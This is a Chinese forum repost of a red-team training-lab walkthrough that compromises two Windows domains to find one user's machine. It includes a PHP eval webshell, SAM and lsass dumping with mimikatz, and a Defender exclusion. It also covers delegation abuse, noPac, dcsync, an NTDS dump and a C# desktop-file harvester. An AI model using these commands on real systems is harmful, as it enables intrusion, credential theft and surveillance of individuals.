安全矩阵

 找回密码
 立即注册
搜索
查看: 1851|回复: 0

记一次内部红队渗透——定位张三

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-6-29 23:35:09 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2022-6-29 23:34 编辑


记一次内部红队渗透——定位张三

原文链接:记一次内部红队渗透——定位张三
原创 红队蓝军 2022-06-29 09:02 发表于北京
本靶场用于内部学员进行渗透测试
渗透要求:精准定位到某位成员的个人主机渗透过程
物理机网段:192.168.1.1/24
编辑
上传.php文件拦截
编辑
上传.aaa文件拦截,白名单验证,00阶段和解析漏洞均无解。尝试dirsearch看下目录。
编辑
存在1.php
upload.php
编辑
index.php 可知存在文件包含
编辑

编辑
http://www.hongduilanjun.com/index.php?url=./upload/1.jpg
编辑
ipconfig /all 查看得知工作组
编辑
存在192.168.111.1/24 段。代理忽略。
抓本地密码
reg save hklm\sam sam.hivreg save hklm\system system.hiv
编辑
如果解不开明文可以用certutil进行下载
certutil.exe -urlcache -split -f http://192.168.111.138/1.zip
导出sam表move到web路径下为zip,下载到本地mimikatz解密。删除webshell上zip文件
mimikatz.exe "log" "lsadump::sam /system:system.hiv /sam:sam.hiv" "exit"
得到hash: administrator:a0f42e3f2c62fe3977e87c4ed35c0f7f
获取lsass进程
  1. copy c:\windows\system32\comsvcs.dll c:\programdata\1.dll
  2. tasklist /svc | findstr "lsass"
  3. rundll32.exe c:\programdata\1.dll, MiniDump lsass_pid c:\programdata\temp.dmp full
复制代码



编辑
同理move 到web路径为zip格式下载回来,mimikatz解密。
mimikatz.exe "log" "sekurlsa::minidump temp.dmp" "sekurlsa::logonPasswords full" "exit"
webshell机器为windows server 2016,且lsass无其他用户密码。
编辑
wmihashscan得到111.108 administrator用户hash
编辑
nbtscan得知存在双域
编辑
wimiexe得到testredteam.local域机器 192.168.111.108当前为本地administrator权限
编辑
systeminfo为windows server2008机器可以尝试抓到明文密码,切可能存在域内用户hash。我们可以与webshell机器建立ipc把lsass进程dump的内存传递给web目录进行下载。这台域机器没有得到任何域用户只得到了administrator的明文密码为yicunyiye123..
目前得到的信息为:
  1. webshell:192.168.111.138 workgroup administrator:yicunyiye123..
  2. testredteam.local域机器:192.168.111.108 administrator:yicunyiye123..
  3. testredteam.local 域控为:192.168.111.116
复制代码



尝试ms17010 zerologon 均无果。psexec提权为system权限先看看testredteam域内信息。
这里的时候webshell被杀了,虽然是虚拟机下的df也不至于原始一句话不被杀,执行了这么久被杀,离谱。重新上传webshell。
  1. <?php
  2. function ass(){
  3. function req($a){
  4.   $b = $_POST[$a];
  5.   return $b;
  6. }
  7. $d = req('x');
  8. eval($d);

  9. }
  10. ass();
  11. ?>
复制代码



tasklist /svc 得知是df。wmi直接加白。
WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="c:/users/administrator/desktop/"
psexec上传到webshell机器上 与192.168.111.108建立ipc连接。
编辑
得到testredteam.local域内信息:
编辑
这里要查看域控机器,命令如下:net group "domain computers" /do 存在双引号闭合问题,直接写为bat去执行(其他命令类似思路)。
编辑
目前得到testredteam.local域信息为:
  1. domain users:
  2. Administrator
  3. angle
  4. angle1
  5. baby
  6. jack
  7. test
  8. tom
  9. web
  10. wsad.w
  11. zz

  12. domain controllers:
  13. 192.168.111.116
复制代码


尝试使用yicunyiye123..密码去碰撞domain users
编辑
得到域用户web-yicunyiye123..
使用sharpDomain去dump域内组织架构(红队蓝军内网培训c#开发工具)
编辑
暂时未发现张三用户在testredteam.local域。因为在某些内网中管理员acl配置不当可能导致全域拥有dcsync权限,或者前辈来过。所以看看是否存在dcsync或者adminsdholer后门是很有必要的。
c#代码查询dcsync后门 取完全控制权限
编辑
或者存在3条acl交集下的用户(哪3条?就是那个3条)
编辑
编辑

编辑
c#代码查询adminsdholder后门
编辑
不存在后门或者配置不当。
编辑
看看委派信息。
编辑
可以看到WIN-CO3OLUGK1S9机器存在对DC的cifs服务存在约束性委派。
首先dump出WIN-CO3OLUGK1S9机器hash,然后move webshell下载
编辑
得到WIN-CO3OLUGK1S9机器hash为:420590bba2dc05ee36d2a3589d1f71d9
首先使用kekeo请求用户的TGT:
tgt::ask /user:WIN-CO3OLUGK1S9 /domain:testredteam.local /NTLM:420590bba2dc05ee36d2a3589d1f71d9 /ticket:test.kirbi
编辑
得到TGT_WIN-CO3OLUGK1S9@TESTREDTEAM.LOCAL_krbtgt~testredteam.local@TESTREDTEAM.LOCAL.kirbi
然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问DC CIFS的ST
tgs::s4u /tgt:TGT_WIN-CO3OLUGK1S9@TESTREDTEAM.LOCAL_krbtgt~testredteam.local@TESTREDTEAM.LOCAL.kirbi /user:Administrator@testredteam.local /service:cifs/WIN-AG37AJNA8A6.testredteam.local
这里会得到S4U2Self获取到的ST1和S4U2Proxy获取到的ST2票据。注入ST2。
kerberos::ptt TGS_Administrator@testredteam.local@TESTREDTEAM.LOCAL_cifs~WIN-AG37AJNA8A6.testredteam.local@TESTREDTEAM.LOCAL.kirbi
编辑
拿下域控
编辑
或者尝试nopac
  1. noPac.exe -domain testredteam.local  -user web -pass yicunyiye123.. /dc WIN-AG37AJNA8A6.testredteam.local /mAccount test23 /mPassword test!!..123 /service ldap /ptt /impersonate Administrator

  2. mimikatz.exe "log" "lsadump::dcsync /domain:testredteam.local /user:administrator" "exit"
复制代码


编辑
得到testredteam.local的hash:9a055ccb341690394b8d53407f889403
编辑
dump ntds
  1. mkdir c:\test\
  2. powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
复制代码


编辑

编辑
得到testredteal.loca hash:


  1. Administrator:500:aad3b435b51404eeaad3b435b51404ee:9a055ccb341690394b8d53407f889403:::
  2. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  3. DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  4. krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e702408f354095864c7fa10755e00a7c:::
  5. admin08:1104:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  6. test:1105:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  7. test:1106:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  8. test:1107:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
  9. jack:1108:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
  10. tom:1109:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
  11. angle:1110:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
  12. angle1:1111:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
  13. baby:1112:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
  14. zz:1113:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
  15. it:1114:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  16. wsad.w:1115:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
  17. web:1116:aad3b435b51404eeaad3b435b51404ee:a0f42e3f2c62fe3977e87c4ed35c0f7f:::

复制代码

得知域内默认密码为P@ssw0rd。使用testredteam.local域内用户对redteam.local域进行用户名枚举。
编辑
得到存在3个用户:administrator,it,jack。继续ldap爆破
编辑
拿到了redteam.local域用户。
编辑

sharpDomain.exe -d 192.168.111.16 -u jack -p P@ssw0rd --GetUsers
编辑
用P@ssw0rd域内默认密码再次滚得到backup用户。
编辑

​编辑
得到redteam.local域administrator的hash:852a844adfce18f66009b4f14e0a98de cmd解密得到为test123..
同理dump ntds,查看domaininfo.txt得知存在zhangsan用户:
编辑
编写infothief获取域内所有机器桌面文件。

编辑


  1. public static void DesktopFiles()
  2.         {
  3.             try
  4.             {
  5.                 string DesktopFiles = "";
  6.                 //获取机器名
  7.                 StreamReader machine_name = new StreamReader(@"machine.txt");
  8.                 while (!machine_name.EndOfStream)
  9.                 {
  10.                     try
  11.                     {
  12.                         string machine = machine_name.ReadLine();
  13.                         if (IsMachineUp(machine))
  14.                         {
  15.                             //获取当前路径
  16.                             string currentpath = Directory.GetCurrentDirectory();
  17.                             DesktopFiles = currentpath + "\\TargetDesktopinfos";
  18.                             Directory.CreateDirectory(DesktopFiles);

  19.                             Console.ForegroundColor = ConsoleColor.Yellow;
  20.                             Console.WriteLine("[*]" + machine);
  21.                             Console.ForegroundColor = ConsoleColor.White;
  22.                             //获取users目录
  23.                             string userpath = @"\" + machine + @"\c$\users";
  24.                             var user_list = Directory.EnumerateDirectories(userpath);
  25.                             if (Directory.Exists(userpath))
  26.                             {
  27.                                 //创建机器名文件夹
  28.                                 string MachineFolder = DesktopFiles + "\" + machine;
  29.                                 Directory.CreateDirectory(MachineFolder);
  30.                                 foreach (string user in user_list)
  31.                                 {
  32.                                     string DesktopDirectoryPath = user + "\\desktop";
  33.                                     string username = substring(user);
  34.                                     if (Directory.Exists(DesktopDirectoryPath))
  35.                                     {
  36.                                         //创建用户名文件夹
  37.                                         string UserFolder = MachineFolder + "\" + username;
  38.                                         Directory.CreateDirectory(UserFolder);
  39.                                         //创建desktop.txt文件
  40.                                         string Desktoptxt = UserFolder + "\\desktop.txt";
  41.                                         StreamWriter sw = File.CreateText(Desktoptxt);
  42.                                         sw.Close();

  43.                                         string info_user = substring(user);
  44.                                         Console.ForegroundColor = ConsoleColor.Green;
  45.                                         Console.WriteLine("[*]" + info_user);
  46.                                         Console.ForegroundColor = ConsoleColor.White;

  47.                                         string[] AllFiles = Directory.GetFileSystemEntries(DesktopDirectoryPath, "*", SearchOption.AllDirectories);

  48.                                         foreach (string file in AllFiles)
  49.                                         {
  50.                                             Console.WriteLine(file);
  51.                                             string create_time = Directory.GetCreationTime(file).ToString();
  52.                                             string writeFileTo = "create time:" + create_time + "  " + file + "\r\n";
  53.                                             File.AppendAllText(Desktoptxt, writeFileTo);
  54.                                         }
  55.                                     }
  56.                                     else
  57.                                     {
  58.                                         continue;
  59.                                     }
  60.                                 }
  61.                             }
  62.                         }
  63.                         else
  64.                         {
  65.                             Console.ForegroundColor = ConsoleColor.Red;
  66.                             Console.WriteLine("[-]" + machine + " is down");
  67.                             Console.ForegroundColor = ConsoleColor.White;
  68.                         }
  69.                     }
  70.                     catch (System.Exception ex)
  71.                     {
  72.                         Console.ForegroundColor = ConsoleColor.Red;
  73.                         Console.WriteLine("[-] error");
  74.                         Console.WriteLine("[-] Exception: " + ex.Message);
  75.                         Console.ForegroundColor = ConsoleColor.White;
  76.                         continue;
  77.                     }
  78.                 }
  79.                 machine_name.Close();
  80.                 Console.WriteLine("[+]out put to:" + DesktopFiles);
  81.             }
  82.             catch (System.Exception ex)
  83.             {
  84.                 Console.ForegroundColor = ConsoleColor.Red;
  85.                 Console.WriteLine("[-] error");
  86.                 Console.WriteLine("[-] Exception: " + ex.Message);
  87.                 Console.ForegroundColor = ConsoleColor.White;
  88.                 return;
  89.             }
  90.         }

复制代码




先获取computers列表保存为machine.txt
编辑

编辑
得到张三存在的机器。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 07:37 , Processed in 0.016810 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表